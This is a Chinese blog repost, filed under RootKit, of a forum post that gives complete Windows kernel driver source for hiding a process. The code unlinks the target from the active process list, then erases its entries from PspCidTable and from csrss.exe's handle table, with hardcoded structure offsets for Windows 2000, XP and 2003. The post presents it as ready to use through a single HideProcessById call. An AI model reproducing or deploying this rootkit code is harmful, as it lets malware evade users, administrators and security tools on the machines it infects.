|
Posted on 2009-10-30 00:10 S.l.e!ep.¢% 阅读(451) 评论(0) 编辑 收藏 引用 所属分类: RootKit
标 题:
【原创】科普之三招隐藏进程
作 者:
cooldiyer
时 间: 2008-09-20,11:58 链 接: http://bbs.pediy.com/showthread.php?t=73129
先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表 擦除HandleTable表用了一些技巧,不用亲自操作三层表,不是网上流传的方法,具体请看代码...... 使用的时候直接HideProcessById(HIDE_PID)就行了 偶这只菜鸟的学习总结,牛们不要BS,我会超过你们的.很快 ProcessHide.h 代码: #ifndef __PROCESSHIDE_H__
#define __PROCESSHIDE_H__
#ifdef __cplusplus
extern "C" {
#endif
#include <ntddk.h>
/*
使用之前请先调用InitializeCommonVariables初始化全局变量
*/
typedef struct _HANDLE_TABLE_ENTRY {
//
// The pointer to the object overloaded with three ob attributes bits in
// the lower order and the high bit to denote locked or unlocked entries
//
union {
PVOID Object;
ULONG ObAttributes;
};
//
// This field either contains the granted access mask for the handle or an
// ob variation that also stores the same information. Or in the case of
// a free entry the field stores the index for the next free entry in the
// free list. This is like a FAT chain, and is used instead of pointers
// to make table duplication easier, because the entries can just be
// copied without needing to modify pointers.
//
union {
union {
ACCESS_MASK GrantedAccess;
struct {
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE {
//
// A set of flags used to denote the state or attributes of this
// particular handle table
//
ULONG Flags;
//
// The number of handle table entries in use.
//
LONG HandleCount;
//
// A pointer to the top level handle table tree node.
//
PHANDLE_TABLE_ENTRY **Table;
//
// The process who is being charged quota for this handle table and a
// unique process id to use in our callbacks
//
struct _EPROCESS *QuotaProcess;
HANDLE UniqueProcessId;
//
// This is a singly linked list of free table entries. We don't actually
// use pointers, but have each store the index of the next free entry
// in the list. The list is managed as a lifo list. We also keep track
// of the next index that we have to allocate pool to hold.
//
LONG FirstFreeTableEntry;
LONG NextIndexNeedingPool;
//
// This is the lock used to protect the fields in the record, and the
// handle table tree in general. Individual handle table entries that are
// not free have their own lock
//
ERESOURCE HandleTableLock;
//
// The list of global handle tables. This field is protected by a global
// lock.
//
LIST_ENTRY HandleTableList;
//
// The following field is used to loosely synchronize thread contention
// on a handle. If a thread wants to wait for a handle to be unlocked
// it will wait on this event with a short timeout. Any handle unlock
// operation will pulse this event if there are threads waiting on it
//
KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN PVOID EnumParameter
);
typedef BOOLEAN (*__ExEnumHandleTable)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
);
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
);
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
);
NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
);
NTSTATUS
HideProcessById(
IN HANDLE ProcessId
);
NTSTATUS
InitializeCommonVariables(
);
NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
);
NTSTATUS
LookupProcessByName(
IN PCHAR pcProcessName,
OUT PEPROCESS *Process
);
#ifdef __cplusplus
} // extern "C"
#endif
#endif // __PROCESSHIDE_H__
ProcessHide.c 代码: #include "ProcessHide.h"
#include "LDasm.h"
ULONG g_Offset_Eprocess_Name = NULL;
ULONG g_Offset_Eprocess_Flink = NULL;
ULONG g_Offset_Eprocess_ProcessId = NULL;
ULONG g_Offset_Eprocess_HandleTable = NULL;
PEPROCESS g_pEprocess_System = NULL;
NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
)
/*
通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
*/
{
NTSTATUS status;
PUCHAR cPtr;
unsigned char * pOpcode;
ULONG Length;
UNICODE_STRING uniPsLookup;
ULONG PsLookupProcessByProcessId;
status = STATUS_NOT_FOUND;
RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId");
PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址
for (cPtr = (PUCHAR)PsLookupProcessByProcessId;
cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE;
cPtr += Length)
{
Length = SizeOfCode(cPtr, &pOpcode); //credit to LDasm.c by Ms-Rem
if (!Length) break;
if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8)
{
*ppPspCidTable = **(PVOID **)(pOpcode + 2);
status = STATUS_SUCCESS;
break;
}
}
return status;
}
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle)
{
*(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry;
return TRUE;
}
return FALSE;
}
// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
)
{
NTSTATUS status;
PVOID EnumParameter;
UNICODE_STRING uniExEnumHandleTable;
__ExEnumHandleTable ExEnumHandleTable;
status = STATUS_NOT_FOUND;
EnumParameter = ProcessId;
RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable");
ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable);
if (NULL == ExEnumHandleTable)
{
return STATUS_NOT_FOUND;
}
// Enum后可以擦除,Callback过程中不能擦除
if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL))
{
InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL);
status = STATUS_SUCCESS;
}
return status;
}
NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PLIST_ENTRY pListEntry;
PEPROCESS pEprocess;
status = PsLookupProcessByProcessId(ProcessId, &pEprocess);
if (!NT_SUCCESS(status))
{
return status;
}
ObDereferenceObject(pEprocess);
pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink;
// 从链表中摘除
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;
return status;
}
NTSTATUS
HideProcessById(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PHANDLE_TABLE pPspCidTable;
PEPROCESS pCsrssEprocess = NULL;
if (NULL == g_Offset_Eprocess_HandleTable)
{
status = InitializeCommonVariables();
if (!NT_SUCCESS(status))
{
return status;
}
}
status = GetPspCidTable(&pPspCidTable);
if (!NT_SUCCESS(status))
{
return status;
}
status = LookupProcessByName("CSRSS.EXE\0", &pCsrssEprocess);
if (!NT_SUCCESS(status))
{
return status;
}
// 先从活动进程链表中摘除
status = RemoveNodeFromActiveProcessLinks(ProcessId);
// 擦除PspCidTable中对应的Object
status = EraseObjectFromHandleTable(pPspCidTable, ProcessId);
// 擦除Csrss进程中那份表
status = EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess + g_Offset_Eprocess_HandleTable), ProcessId);
return status;
}
NTSTATUS
LookupProcessByName(
IN PCHAR pcProcessName,
OUT PEPROCESS *pEprocess
)
{
NTSTATUS status;
ULONG uCurrentProcessId = 0;
ULONG uStartProcessId = 0;
ULONG uCount = 0;
ULONG uLength = 0;
PLIST_ENTRY pListActiveProcess;
PEPROCESS pCurrentEprocess = NULL;
if (!ARGUMENT_PRESENT(pcProcessName) || !ARGUMENT_PRESENT(pEprocess))
{
return STATUS_INVALID_PARAMETER;
}
uLength = strlen(pcProcessName);
pCurrentEprocess = g_pEprocess_System;
uStartProcessId = *((PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId));
uCurrentProcessId = uStartProcessId;
while(1)
{
if(_strnicmp(pcProcessName, (PVOID)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Name), uLength) == 0)
{
*pEprocess = pCurrentEprocess;
status = STATUS_SUCCESS;
break;
}
else if ((uCount >= 1) && (uStartProcessId == uCurrentProcessId))
{
*pEprocess = 0x00000000;
status = STATUS_NOT_FOUND;
break;
}
else
{
pListActiveProcess = (LIST_ENTRY *)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Flink);
(ULONG)pCurrentEprocess = (ULONG)pListActiveProcess->Flink;
(ULONG)pCurrentEprocess = (ULONG)pCurrentEprocess - g_Offset_Eprocess_Flink;
uCurrentProcessId = *(PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId);
uCount++;
}
}
return status;
}
NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
)
/*
在DriverEntry中调用
*/
{
NTSTATUS status;
PEPROCESS curproc;
ULONG i;
if (!MmIsAddressValid((PVOID)Offset))
{
status = STATUS_INVALID_PARAMETER;
return status;
}
curproc = PsGetCurrentProcess();
//
// 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
// 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
// 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断
// Scan for 12KB, hopping the KPEB never grows that big!
//
for( i = 0; i < 3 * PAGE_SIZE; i++ ) {
if(!strncmp( "System", (PCHAR) curproc + i, strlen("System"))) {
*Offset = i;
status = STATUS_SUCCESS;
break;
}
}
return status;
}
NTSTATUS
InitializeCommonVariables(
)
{
NTSTATUS status;
ULONG uMajorVersion;
ULONG uMinorVersion;
status = GetProcessNameOffset(&g_Offset_Eprocess_Name);
if (!NT_SUCCESS(status))
{
return status;
}
g_pEprocess_System = PsGetCurrentProcess();
PsGetVersion(&uMajorVersion, &uMinorVersion, NULL, NULL);
if (uMajorVersion == 4 && uMinorVersion == 0)
{
g_Offset_Eprocess_Flink = 152;
// Stop supporting NT 4.0
return STATUS_UNSUCCESSFUL;
}
else if (uMajorVersion == 5 && uMinorVersion == 0)
{
g_Offset_Eprocess_ProcessId = 156;
g_Offset_Eprocess_Flink = 160;
g_Offset_Eprocess_HandleTable = 0x128;
}
else if (uMajorVersion == 5 && uMinorVersion == 1)
{
g_Offset_Eprocess_ProcessId = 132;
g_Offset_Eprocess_Flink = 136;
g_Offset_Eprocess_HandleTable = 0xC4;
}
else if (uMajorVersion == 5 && uMinorVersion == 2)
{
g_Offset_Eprocess_ProcessId = 132;
g_Offset_Eprocess_Flink = 136;
g_Offset_Eprocess_HandleTable = 0xC4;
}
return STATUS_SUCCESS;
}
|